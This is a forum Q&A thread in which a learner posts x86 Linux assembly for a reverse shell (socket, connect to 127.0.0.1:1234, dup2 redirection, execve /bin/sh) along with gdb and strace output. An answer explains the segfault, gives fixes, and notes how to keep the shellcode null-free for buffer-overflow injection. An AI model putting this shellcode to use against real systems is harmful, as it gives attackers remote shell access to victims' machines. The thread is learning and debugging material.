Reputation: 45
I'm learning assembly and starting with linux x86. I'm now trying to create a reverse shell but I'm facing a segfault and i don't know where it is. Here's my assembly code :
global _start
section .text
_start:
; Création du socket
push 0x66 ; socketall (102)
pop eax ; clean eax et mis en place socketcall(102)
push 0x1 ; sys_socket
pop ebx ; clean ebb et mis en place sys_socket (1)
xor ecx, ecx ; pour éviter les 0, on xor un registre avec lui-même ce qui donne toujours 0
push ecx ; protocole 0 ce qui signifie que le protocole est défini par la machine
push ebx ; SOCK_STREAM (1)
push 0x2 ; AF_INET (2) signifie la prise en charge d'adresse IPV4
mov ecx, esp ; pointe ecx en haut de la pile
int 0x80 ; execution
mov edi, eax ; move socket vers edi pour réutilisation
; Connection à une adresse IP et un port
mov al, 0x66 ; socketcall (102) déplacé dans le registre al
pop ebx ; (2)
push 0x0100007F ; sin_addr = 127.0.0.1
push word 0xd204 ; sin_port = 1234
push word 0x2 ; AF_INET (2)
mov ecx, esp ; pointe ecx en haut de la pile
push 0x10 ; taille de l'adresse IP
push ecx ; pointer vers l'adresse ip
push edi ; socket descripteur = permet de stocker les valeurs retournées par le syscall socket et le syscall qui accepte la connexion
mov ecx, esp ; pointe ecx en haut de la pile
inc ebx ; SYS_CONNECT (3)
int 0x80 ; execution
; STDIN, STDOUT et STDERR dans notre nouveau socket pour redirection
xchg ebx, edi ; save de socketfd dans ebx pour dup2. Xchg permet d'échanger les contenus de la destination (premier registre) et de la source (second registre
;dup 2 = créer une copie du file descriptor oldfd en utilisant le numéro spécifié dans newfd. Si le file descriptor newfd était déjà utilisé, cela le ferme avant de pouvoir être utilisé.
push 0x2
pop ecx ; set ecx à 0
loop:
mov al, 0x3f ; dup2 sys call 63 = 0x3f
int 0x80 ; execution dup2
dec ecx ; décrémentation du compteur de la loop
jns loop ; JNS = Jump No Sign (valeur positive) -> tant que SF n'est pas positionné à 1 on jmp à loop
; SF = Ce flag est positionné à 1 si la dernière opération a généré un résultat négatif, à 0 s'il est positif ou nul.
; Executer /bin/sh
xor edx, edx ; set edx à 0
push edx ; NULL
push 0x68732f2f ; "hs//" reverse order car utilisation de little endian (2 / pour faire 4 octets non nuls)
push 0x6e69622f ; "nib/" reverse order car utilisation de little endian
mov ebx, esp ; pointe ebx dans la stack c-a-d en haut de la pile
mov ecx, edx ; on met ecx à 0
mov al, 0xb ; execve = Oxb
int 0x80 ; execution execve
Then i did :
nasm -f elf32 tp.asm
then
ld -m elf_i386 -s -o tp tp.o
When i'm executing the binary i'm just getting the error : Segmentation error
I tried to debug it with gdb but I don't know much.
gdb tp
(gdb) run
Starting program: /home/nicolas/tp/tp
Program received signal SIGSEGV, Segmentation fault.
0x0804904d in ?? ()
(gdb) where
#0 0x0804904d in ?? ()
And honestly I don't know what to do now... Don't have enough knowledge to go further. I hope someone can help me please. Thanks :)
EDIT :
Here's the instruction corresponding to the address 0x0804904d :
0x804904d add %al,(%eax)
I used strace
and here's the output :
execve("./tp", ["./tp"], 0x7ffe08f13850 /* 49 vars */) = 0
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(1234), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 ECONNREFUSED (Connexion refusée)
syscall_0xffffffffffffff3f(0x3, 0x2, 0, 0, 0x3, 0) = -1 ENOSYS (Fonction non implantée)
syscall_0xffffffffffffff3f(0x3, 0x1, 0, 0, 0x3, 0) = -1 ENOSYS (Fonction non implantée)
syscall_0xffffffffffffff3f(0x3, 0, 0, 0, 0x3, 0) = -1 ENOSYS (Fonction non implantée)
syscall_0xffffffffffffff0b(0xff911f58, 0, 0, 0, 0x3, 0) = -1 ENOSYS (Fonction non implantée)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xffffffda} ---
+++ killed by SIGSEGV +++
Upvotes: 0
Views: 699
Reputation: 364160
Your strace
output makes the problem clear: connect
returns an error code (between -4095
to -1
), so the high bytes of EAX are 0xffffff..
. Later mov al, imm8
1 leaves them unmodified, resulting in EAX= invalid system call number2.
If you want to make it exit cleanly even if an earlier system call returned negative, xor eax,eax
/ inc eax
/ int 0x80
at the end to do a SYS_exit. (With BL=1 or some non-zero value to exit with a non-zero status).
Or use push 0xb
/ pop eax
to set EAX=SYS_execve for that final system call, so the shell definitely runs. (But with stdin not redirected, so that's not very good).
Or just get used to using strace
as error checking, now that you understand what happens when a system call return value leaves the high bytes of EAX non-zero. You could put a ud2
at the end so it will exit with an illegal instruction instead of segfault (when execution falls into 00 00 add [eax], al
bytes.)
Or if you really want, write actual error checking for the connect
system call, checking for a negative EAX and using write
to output an error message before exiting. That would obviously be useless in real shellcode which would run with its stdout connected to something on the victim computer, not yours. connect
is the one most likely to fail, so you can still leave the other syscalls unchecked other than by strace
.
Footnote 1: Remember you're using mov al, 0xb
instead of mov eax, 0xb
to avoid zeros in your machine code, although push 0x0100007F
doesn't do that. >.< Not a problem when building as an executable, but would be a problem for injection via a strcpy or other C-string buffer overflow vulnerability.
Footnote 2: Apparently strace or the kernel is sign-extending that to 64 bits, despite the fact that the full RAX isn't accessible in 32-bit mode.
Upvotes: 1